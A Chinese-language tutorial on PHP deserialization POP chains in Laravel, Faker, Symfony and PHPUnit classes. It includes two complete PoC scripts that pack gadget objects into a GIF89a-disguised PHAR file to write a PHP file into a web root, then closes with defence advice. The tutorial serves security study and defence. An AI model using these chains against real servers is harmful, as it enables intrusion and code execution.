PHP反序列化入门之寻找POP链(二)
字数 2871 2025-08-18 11:38:36
PHP反序列化POP链构造详解(二)
前言
本文是PHP反序列化POP链构造系列的第二部分,重点讲解如何通过分析代码结构寻找可利用的POP链。我们将详细分析两种不同的POP链构造方法,帮助读者深入理解PHP反序列化漏洞的利用原理。
POP链一:Dispatcher类与ShouldQueue接口
核心思路
通过PendingBroadcast类的__destruct方法触发dispatch方法调用,最终利用call_user_func实现任意代码执行。
详细分析
-
入口点:
PendingBroadcast类的__destruct方法- 该方法会自动调用
$this->events->dispatch($this->event)
- 该方法会自动调用
-
寻找dispatch方法:
- 搜索
function dispatch(发现Dispatcher类的dispatchToQueue方法 - 该方法包含关键代码:
call_user_func($this->queueResolver, $command) - 两个参数均可控:
$this->queueResolver和$command
- 搜索
-
条件绕过:
dispatch方法会调用dispatchToQueue,但需要$command是ShouldQueue接口的实例- 搜索
implements ShouldQueue找到实现类,如CallQueuedClosure
-
利用链构造:
- 通过
ReturnCallback类的invoke方法 - 传入
StaticInvocation类的对象作为参数
- 通过
完整利用代码
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
function __construct($events, $event){
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent{
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
};
namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
}
};
namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
private $parameters;
public function __construct($parameters){
$this->parameters = $parameters;
}
}
};
namespace Illuminate\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
};
namespace{
$function = 'file_put_contents';
$parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
$staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($staticinvocation);
$returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
$dispatcher = new Illuminate\Bus\Dispatcher(array($returncallback,'invoke'));
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);
$o = $pendingbroadcast;
$filename = 'poc.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
}
调用流程
PendingBroadcast对象被销毁时调用__destruct- 调用
$this->events->dispatch($this->event) $this->events是Dispatcher对象,调用其dispatch方法dispatch调用dispatchToQueue方法dispatchToQueue执行call_user_func($this->queueResolver, $command)$this->queueResolver设置为array($returncallback,'invoke')- 最终执行
file_put_contents('/var/www/html/11.php','<?php phpinfo();?>')
POP链二:TraceableEventDispatcher与Generator类
核心思路
利用TraceableEventDispatcher类的dispatch方法,通过Generator类的__call方法最终实现任意函数调用。
详细分析
-
入口点:
PendingBroadcast类的__destruct方法- 调用
$this->events->dispatch($this->event)
- 调用
-
寻找dispatch方法:
- 发现
TraceableEventDispatcher类的dispatch方法 - 该方法调用
preProcess($eventName)
- 发现
-
preProcess方法分析:
- 首先调用
$this->dispatcher->hasListeners($eventName) - 然后调用
$this->dispatcher->getListeners($eventName) - 最后调用
$this->dispatcher->removeListener($eventName, $listener)
- 首先调用
-
利用Generator类的__call方法:
- 设置
$this->formatters['hasListeners'] = 'strlen' - 设置
$this->formatters['getListenerPriority'] = 'file_put_contents' - 通过
call_user_func_array实现任意函数调用
- 设置
-
绕过条件:
hasListeners调用返回true:设置strlen确保返回非零getListeners返回数组:使用Dispatcher类实现
完整利用代码
<?php
namespace Illuminate\Events{
class Dispatcher{
protected $listeners;
protected $wildcardsCache;
public function __construct($parameter,$function){
$this->listeners[$parameter['filename']] = array($parameter['contents']);
}
}
}
namespace Faker{
class Generator{
protected $providers;
protected $formatters;
public function __construct($providers,$formatters){
$this->providers = $providers;
$this->formatters = $formatters;
}
}
}
namespace Symfony\Component\EventDispatcher\Debug{
class TraceableEventDispatcher{
private $dispatcher;
public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $parameter){
$this->events = $events;
$this->event = $parameter['filename'];
}
}
}
namespace {
$function = 'file_put_contents';
$parameters = array('filename' => '/var/www/html/1.php','contents' => '<?php phpinfo();?>');
$dispatcher = new \Illuminate\Events\Dispatcher($parameters,$function);
$generator = new \Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);
$traceableeventdispatcher = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($traceableeventdispatcher,$parameters);
$o = $pendingbroadcast;
$filename = 'poc.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
}
调用流程
PendingBroadcast对象被销毁时调用__destruct- 调用
$this->events->dispatch($this->event) $this->events是TraceableEventDispatcher对象,调用其dispatch方法dispatch调用preProcess方法preProcess调用$this->dispatcher->hasListeners($eventName)$this->dispatcher是Generator对象,触发__call- 执行
call_user_func_array('strlen', '/var/www/html/1.php')返回true
preProcess调用$this->dispatcher->getListeners($eventName)- 通过
Dispatcher类返回可控数组
- 通过
preProcess调用$this->dispatcher->getListenerPriority($eventName, $listener)- 触发
Generator的__call - 执行
call_user_func_array('file_put_contents', array('/var/www/html/1.php', '<?php phpinfo();?>'))
- 触发
关键知识点总结
-
POP链构造核心:
- 从
__destruct或__wakeup等魔术方法开始 - 寻找可控的方法调用链
- 最终到达危险函数如
call_user_func、call_user_func_array等
- 从
-
常见利用点:
__call魔术方法:当调用不存在的方法时触发__toString:对象被当作字符串使用时触发- 接口实现:通过接口约束寻找可利用的实现类
-
绕过技巧:
- 条件判断绕过:确保方法返回需要的值
- 参数控制:通过对象属性控制危险函数的参数
- 链式调用:将多个类的功能串联起来
-
PHAR利用:
- 使用PHAR文件存储序列化数据
- 文件签名绕过:添加GIF89a等文件头
- 文件扩展名必须为.phar
防御建议
- 避免反序列化用户输入的不可信数据
- 对魔术方法的使用保持谨慎
- 使用类型检查确保对象属性符合预期
- 考虑使用
__sleep和__wakeup方法进行安全控制 - 更新框架和库到最新版本,修复已知漏洞
通过深入理解这些POP链构造技术,安全研究人员可以更好地发现和防御反序列化漏洞,开发人员也能编写更安全的代码。